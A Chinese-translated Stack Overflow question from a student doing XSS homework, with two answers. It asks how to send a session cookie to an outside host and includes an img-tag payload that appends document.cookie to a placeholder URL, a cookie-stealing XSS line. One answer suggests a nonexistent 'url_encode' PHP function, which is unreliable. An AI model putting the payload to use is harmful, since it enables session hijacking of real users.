首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >在url中传递$.variable

在url中传递$.variable
EN

Stack Overflow用户
提问于 2014-04-19 05:24:35
回答 2查看 82关注 0票数 0

我想把一个变量作为一个值传递给一个网站。(在XSS上做作业)

例如,我目前有:$.cookie('echat')和$.cookie('PHPSESSID')。

我想把它传递给一个链接: xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')

但是,不会向xxxx.com/xxx.php传递任何内容

Any1知道执行此操作的语法吗?

具体地说,我放置了一个类似这样的img标记来利用:

< img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie>

显然,document.cookie不工作,我需要$.cookie('PHPSESSID')来获取PHPID

EN

回答 2

Stack Overflow用户

发布于 2014-04-19 05:27:47

您的URL在您的PHP脚本中将$_GET['cookie']的值设置为$.cookie('PHPSESSID'),仅此而已。如何处理是由PHP决定的。

正如您希望从您的类中知道的那样,盲目使用用户提交的数据是危险的,也是一个糟糕的想法。

票数 0
EN

Stack Overflow用户

发布于 2014-04-19 05:33:48

使用此php函数

代码语言:javascript
运行
复制
url_encode("string")

比如

代码语言:javascript
运行
复制
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>
票数 -1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/23162605

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档